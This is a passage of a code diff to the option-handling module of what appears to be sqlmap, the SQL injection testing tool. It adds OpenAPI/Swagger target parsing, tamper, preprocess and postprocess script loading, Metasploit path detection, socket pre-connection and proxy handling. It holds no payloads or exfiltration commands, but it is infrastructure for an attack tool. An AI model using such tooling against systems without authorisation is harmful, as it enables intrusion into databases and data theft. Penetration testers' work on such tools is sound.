checkFile(conf.bulkFile, False): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) found = False for line in getFileItems(conf.bulkFile): - if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: + if conf.scope and not re.search(conf.scope, line, re.I): + continue + + if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + logger.warning(warnMsg) -def _setSitemapTargets(): - if not conf.sitemapUrl: +def _setOpenApiTargets(): + if not conf.openApiFile: return - infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl - logger.info(infoMsg) + from lib.parse.openapi import openApiTargets - found = False - for item in parseSitemap(conf.sitemapUrl): - if re.match(r"[^ ]+\?(.+)", item, re.I): - found = True - kb.targets.add((item.strip(), None, None, None, None)) + if conf.method: + warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) - if not found and not conf.forms and not conf.crawlDepth: - warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + # origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base' + # (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself. + origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None + if re.match(r"(?i)\Ahttps?://", conf.openApiFile): + infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + from lib.request.connect import Connect as Request + content = Request.getPage(url=conf.openApiFile, raise404=True)[0] + if not origin: + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None + else: + conf.openApiFile = safeExpandUser(conf.openApiFile) + checkFile(conf.openApiFile) + infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + content = openFile(conf.openApiFile).read() + + tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None + if tags: + infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags) + logger.info(infoMsg) + + try: + targets = openApiTargets(content, origin, tags) + except ValueError as ex: + errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])): + warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. " + warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with " + warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")" + logger.warning(warnMsg) + + before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback + mutating = 0 + for url, method, data, headers in targets: + if conf.scope and not re.search(conf.scope, url, re.I): + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None)) + + added = len(kb.targets) - before + if added: + conf.multipleTargets = True + infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added + logger.info(infoMsg) + if mutating: + warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating + warnMsg += "Scanning them may create, modify or delete server-side data" + logger.warning(warnMsg) + else: + warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + if not conf.openApiBase: + warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)" + logger.warning(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: @@ -671,35 +570,47 @@ def _findPageForms(): if conf.url and not checkConnection(): return + found = False infoMsg = "searching for forms" logger.info(infoMsg) - if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): - page, _ = Request.queryPage(content=True) - findPageForms(page, conf.url, True, True) + if not any((conf.bulkFile, conf.googleDork)): + page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True) + if findPageForms(page, conf.url, True, True): + found = True else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) - elif conf.sitemapUrl: - targets = parseSitemap(conf.sitemapUrl) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() + else: + targets = [] + for i in xrange(len(targets)): try: - target = targets[i] - page, _, _ = Request.getPage(url=target.strip(), crawling=True, raise404=False) - findPageForms(page, target, False, True) + target = targets[i].strip() + + if not re.search(r"(?i)\Ahttp[s]*://", target): + target = "http://%s" % target + + page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) + if findPageForms(page, target, False, True): + found = True if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except KeyboardInterrupt: break - except Exception, ex: - errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, ex) + except Exception as ex: + errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) + if not found: + warnMsg = "no forms found" + logger.warning(warnMsg) + def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as @@ -712,7 +623,7 @@ def _setDBMSAuthentication(): debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) - match = re.search("^(.+?):(.*?)$", conf.dbmsCred) + match = re.search(r"^(.+?):(.*?)$", conf.dbmsCred) if not match: errMsg = "DBMS authentication credentials value must be in format " @@ -733,31 +644,19 @@ def _setMetasploit(): if IS_WIN: try: - import win32file + __import__("win32file") except ImportError: errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " - errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'" + errMsg += "'https://github.com/mhammond/pywin32'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: - def _(key, value): - retVal = None - - try: - from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE - _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) - _ = OpenKey(_, key) - retVal = QueryValueEx(_, value)[0] - except: - logger.debug("unable to identify Metasploit installation path via registry key") - - return retVal - - conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location") - if conf.msfPath: - conf.msfPath = os.path.join(conf.msfPath, "msf3") + for candidate in os.environ.get("PATH", "").split(';'): + if all(_ in candidate for _ in ("metasploit", "bin")): + conf.msfPath = os.path.dirname(candidate.rstrip('\\')) + break if conf.osSmb: isAdmin = runningAsAdmin() @@ -771,11 +670,11 @@ def _(key, value): if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): - if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): + if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True - if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): + if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False - elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): + elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False @@ -790,31 +689,31 @@ def _(key, value): else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath - warnMsg += "be that the path does not exists or that one " + warnMsg += "be that the path does not exist or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" - logger.warn(warnMsg) + logger.warning(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" - logger.warn(warnMsg) + logger.warning(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" - logger.warn(warnMsg) + logger.warning(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") for envPath in envPaths: envPath = envPath.replace(";", "") - if any(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfcli", "msfconsole")): + if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True - if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): + if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False - elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): + elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False @@ -830,26 +729,26 @@ def _(key, value): if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " - errMsg += "You can get it at 'http://www.metasploit.com/download/'" + errMsg += "You can get it at 'https://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) def _setWriteFile(): - if not conf.wFile: + if not conf.fileWrite: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) - if not os.path.exists(conf.wFile): - errMsg = "the provided local file '%s' does not exist" % conf.wFile + if not os.path.exists(conf.fileWrite): + errMsg = "the provided local file '%s' does not exist" % conf.fileWrite raise SqlmapFilePathException(errMsg) - if not conf.dFile: + if not conf.fileDest: errMsg = "you did not provide the back-end DBMS absolute path " - errMsg += "where you want to write the local file '%s'" % conf.wFile + errMsg += "where you want to write the local file '%s'" % conf.fileWrite raise SqlmapMissingMandatoryOptionException(errMsg) - conf.wFileType = getFileType(conf.wFile) + conf.fileWriteType = getFileType(conf.fileWrite) def _setOS(): """ @@ -878,10 +777,10 @@ def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] - if conf.tech and isinstance(conf.tech, basestring): + if conf.technique and isinstance(conf.technique, six.string_types): _ = [] - for letter in conf.tech.upper(): + for letter in conf.technique.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) @@ -893,7 +792,7 @@ def _setTechnique(): _.append(validInt) break - conf.tech = _ + conf.technique = _ def _setDBMS(): """ @@ -907,7 +806,7 @@ def _setDBMS(): logger.debug(debugMsg) conf.dbms = conf.dbms.lower() - regex = re.search("%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) + regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) @@ -915,7 +814,7 @@ def _setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) @@ -926,6 +825,22 @@ def _setDBMS(): break +def _listTamperingFunctions(): + """ + Lists available tamper functions + """ + + if conf.listTampers: + infoMsg = "listing available tamper scripts\n" + logger.info(infoMsg) + + for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): + content = openFile(script, 'r').read() + match = re.search(r'(?s)__priority__.+"""(.+)"""', content) + if match: + comment = match.group(1).strip() + dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) + def _setTamperingFunctions(): """ Loads tampering functions from given script(s) @@ -937,32 +852,37 @@ def _setTamperingFunctions(): resolve_priorities = False priorities = [] - for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False - tfile = tfile.strip() + path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH) + script = safeFilepathEncode(script.strip()) - if not tfile: - continue + try: + if not script: + continue - elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)): - tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile) + elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)): + script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script) - elif not os.path.exists(tfile): - errMsg = "tamper script '%s' does not exist" % tfile - raise SqlmapFilePathException(errMsg) + elif not os.path.exists(script): + errMsg = "tamper script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) - elif not tfile.endswith('.py'): - errMsg = "tamper script '%s' should have an extension '.py'" % tfile + elif not script.endswith(".py"): + errMsg = "tamper script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--tamper'" raise SqlmapSyntaxException(errMsg) - dirname, filename = os.path.split(tfile) + dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) - infoMsg = "loading tamper script '%s'" % filename[:-3] + infoMsg = "loading tamper module '%s'" % filename[:-3] logger.info(infoMsg) - if not os.path.exists(os.path.join(dirname, '__init__.py')): + if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) @@ -971,30 +891,32 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: - module = __import__(filename[:-3]) - except (ImportError, SyntaxError), msg: - raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg)) + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) - priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ + priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ + priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": + if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) - function.func_name = module.__name__ + function.__name__ = module.__name__ if check_priority and priority > last_priority: - message = "it seems that you might have mixed " + message = "it appears that you might have mixed " message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): - resolve_priorities = True - elif test[0] in ("n", "N"): + if choice == 'N': resolve_priorities = False - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException + else: + resolve_priorities = True check_priority = False @@ -1003,11 +925,16 @@ def _setTamperingFunctions(): break elif name == "dependencies": - function() + try: + function() + except Exception as ex: + errMsg = "error occurred while checking dependencies " + errMsg += "for tamper module '%s' ('%s')" % (getUnicode(filename[:-3]), getSafeExString(ex)) + raise SqlmapGenericException(errMsg) if not found: errMsg = "missing function 'tamper(payload, **kwargs)' " - errMsg += "in tamper script '%s'" % tfile + errMsg += "in tamper script '%s'" % script raise SqlmapGenericException(errMsg) if kb.tamperFunctions and len(kb.tamperFunctions) > 3: @@ -1015,46 +942,181 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so + # warn instead of silently ignoring the user's '--tamper' + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) + warnMsg = "tamper scripts are applied to SQL injection payloads only and " + warnMsg += "will be ignored by the '--%s' engine" % engine + logger.warning(warnMsg) + if resolve_priorities and priorities: - priorities.sort(reverse=True) + priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) -def _setWafFunctions(): +def _setPreprocessFunctions(): """ - Loads WAF/IDS/IPS detecting functions from script(s) + Loads preprocess function(s) from given script(s) """ - if conf.identifyWaf: - for found in glob.glob(os.path.join(paths.SQLMAP_WAF_PATH, "*.py")): - dirname, filename = os.path.split(found) + if conf.preprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "preprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "preprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--preprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) - if filename == "__init__.py": - continue + infoMsg = "loading preprocess module '%s'" % filename[:-3] + logger.info(infoMsg) - debugMsg = "loading WAF script '%s'" % filename[:-3] - logger.debug(debugMsg) + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of preprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: - if filename[:-3] in sys.modules: - del sys.modules[filename[:-3]] - module = __import__(filename[:-3]) - except ImportError, msg: - raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) - - _ = dict(inspect.getmembers(module)) - if "detect" not in _: - errMsg = "missing function 'detect(get_page)' " - errMsg += "in WAF script '%s'" % found + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + try: + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + found = True + + kb.preprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 + pass + + if not found: + errMsg = "missing function 'preprocess(req)' " + errMsg += "in preprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: - kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3]))) + try: + function(_urllib.request.Request("http://localhost")) + except Exception as ex: + tbMsg = traceback.format_exc() + + if conf.debug: + dataToStdout(tbMsg) + + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") + + errMsg = "function 'preprocess(req)' " + errMsg += "in preprocess script '%s' " % script + errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) + errMsg += "You can find a template script at '%s'" % filename + raise SqlmapGenericException(errMsg) + +def _setPostprocessFunctions(): + """ + Loads postprocess function(s) from given script(s) + """ + + if conf.postprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "postprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "postprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--postprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading postprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of postprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + found = True + + kb.postprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + + if not found: + errMsg = "missing function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s'" % script + raise SqlmapGenericException(errMsg) + else: + try: + _, _, _ = function("", {}, None) + except: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") + + errMsg = "function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s' " % script + errMsg += "should return a tuple '(page, headers, code)' " + errMsg += "(Note: find template script at '%s')" % filename + raise SqlmapGenericException(errMsg) def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: @@ -1066,131 +1128,267 @@ def _setDNSCache(): """ def _getaddrinfo(*args, **kwargs): - if args in kb.cache: - return kb.cache[args] + key = (args, frozenset(kwargs.items())) - else: - kb.cache[args] = socket._getaddrinfo(*args, **kwargs) - return kb.cache[args] + if key in kb.cache.addrinfo: + return kb.cache.addrinfo[key] + + kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs) + return kb.cache.addrinfo[key] - if not hasattr(socket, '_getaddrinfo'): + if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo -def _setHTTPProxy(): +def _setSocketPreConnect(): + """ + Makes a pre-connect version of socket.create_connection + """ + + if conf.disablePrecon: + return + + def _thread(): + while kb.get("threadContinue") and not conf.get("disablePrecon"): + done = False + try: + with kb.locks.socket: + keys = list(socket._ready.keys()) + + for key in keys: + with kb.locks.socket: + q = socket._ready.get(key) + if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE: + continue + args = key[0] + kwargs = dict(key[1]) + + s = socket._create_connection(*args, **kwargs) + + with kb.locks.socket: + q = socket._ready.get(key) + if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: + q.append((s, time.time())) + s = None + done = True + + if s is not None: + try: + s.close() + except: + pass + + except KeyboardInterrupt: + break + except: + pass + finally: + time.sleep(0.01 if not done else 0.001) + + def create_connection(*args, **kwargs): + retVal = None + stale = [] + + key = (tuple(args), frozenset(kwargs.items())) + with kb.locks.socket: + if key not in socket._ready: + socket._ready[key] = collections.deque() + + q = socket._ready[key] + while len(q) > 0: + candidate, created = q.popleft() + if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: + retVal = candidate + break + else: + stale.append(candidate) + + for candidate in stale: + try: + candidate.shutdown(socket.SHUT_RDWR) + candidate.close() + except: + pass + + if not retVal: + retVal = socket._create_connection(*args, **kwargs) + else: + try: + retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout())) + except: + pass + + return retVal + + if not hasattr(socket, "_create_connection"): + socket._ready = {} + socket._create_connection = socket.create_connection + socket.create_connection = create_connection + + thread = threading.Thread(target=_thread) + setDaemon(thread) + thread.start() + +def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ - global proxyHandler - for _ in ("http", "https"): - if hasattr(proxyHandler, "%s_open" % _): - delattr(proxyHandler, "%s_open" % _) + with kb.locks.handlers: + if conf.proxyList: + conf.proxy = conf.proxyList[0] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] - if conf.proxyList is not None: - if not conf.proxyList: - errMsg = "list of usable proxies is exhausted" - raise SqlmapNoneDataException(errMsg) + if len(conf.proxyList) > 1: + infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy + logger.info(infoMsg) - conf.proxy = conf.proxyList[0] - conf.proxyList = conf.proxyList[1:] + elif not conf.proxy: + if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: + proxyHandler.proxies = {} - infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy - logger.info(infoMsg) + if conf.proxy: + debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" + logger.debug(debugMsg) - elif not conf.proxy: - if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: - proxyHandler.proxies = {} + try: + _ = _urllib.parse.urlsplit(conf.proxy) + except Exception as ex: + errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) - return + match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc) + if match: + username, password = match.group(1), match.group(2) + else: + username, password = None, None - debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" - logger.debug(debugMsg) + hostnamePort = _.netloc.rsplit('@', 1)[-1].rsplit(":", 1) - try: - _ = urlparse.urlsplit(conf.proxy) - except Exception, ex: - errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, ex) - raise SqlmapSyntaxException, errMsg + scheme = _.scheme.upper() + hostname = hostnamePort[0] + port = None - hostnamePort = _.netloc.split(":") + if len(hostnamePort) == 2: + try: + port = int(hostnamePort[1]) + except: + pass # drops into the next check block - scheme = _.scheme.upper() - hostname = hostnamePort[0] - port = None - username = None - password = None + if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): + errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) + raise SqlmapSyntaxException(errMsg) - if len(hostnamePort) == 2: - try: - port = int(hostnamePort[1]) - except: - pass # drops into the next check block + if conf.proxyCred: + _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) + if not _: + errMsg = "proxy authentication credentials " + errMsg += "value must be in format username:password" + raise SqlmapSyntaxException(errMsg) + else: + username = _.group(1) + password = _.group(2) - if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): - errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) - raise SqlmapSyntaxException(errMsg) + if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): + proxyHandler.proxies = {} - if conf.proxyCred: - _ = re.search("^(.*?):(.*?)$", conf.proxyCred) - if not _: - errMsg = "proxy authentication credentials " - errMsg += "value must be in format username:password" - raise SqlmapSyntaxException(errMsg) - else: - username = _.group(1) - password = _.group(2) + if scheme == PROXY_TYPE.SOCKS4: + warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" + singleTimeWarnMessage(warnMsg) - if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): - proxyHandler.proxies = {} + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) + socks.wrapmodule(_http_client) + else: + socks.unwrapmodule(_http_client) - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) - socks.wrapmodule(urllib2) - else: - socks.unwrapmodule(urllib2) + if conf.proxyCred: + # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection + proxyString = "%s@" % conf.proxyCred + else: + proxyString = "" - if conf.proxyCred: - # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - proxyString = "%s@" % conf.proxyCred - else: - proxyString = "" + proxyString += "%s:%d" % (hostname, port) + proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} + + proxyHandler.__init__(proxyHandler.proxies) + + if not proxyHandler.proxies: + for _ in ("http", "https"): + if 